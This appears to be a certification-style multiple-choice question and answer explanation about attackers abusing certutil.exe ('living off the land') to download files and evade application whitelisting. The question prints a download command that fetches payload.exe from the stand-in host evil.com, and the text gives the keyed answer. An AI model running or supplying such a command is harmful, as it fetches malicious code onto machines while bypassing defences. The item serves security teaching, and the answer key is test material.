A red team uses the technique of 'living off the land' and runs certutil.exe -urlcache -split -f http://evil.com/payload.exe payload.exe. What is this command doing and why is it significant?
Select an answer to reveal the explanation.
Short Explanation and Infographic
Here's the deal — b is correct because certutil.exe is a legitimate Windows binary used for certificate management; attackers use its -urlcache option to download files from the internet, bypassing application whitelisting policies that allow trusted Windows binaries but do not inspect what they download. A is wrong because checking SSL certificates uses certutil -verify, not -urlcache -split -f.
Full explanation below image
Full Explanation
B is correct because certutil.exe is a legitimate Windows binary used for certificate management; attackers use its -urlcache option to download files from the internet, bypassing application whitelisting policies that allow trusted Windows binaries but do not inspect what they download. A is wrong because checking SSL certificates uses certutil -verify, not -urlcache -split -f. C is wrong because certutil can encode/decode files but the -urlcache -split -f flags specifically perform file downloading, not encryption. D is wrong because adding certificates uses certutil -addstore, not the urlcache download syntax.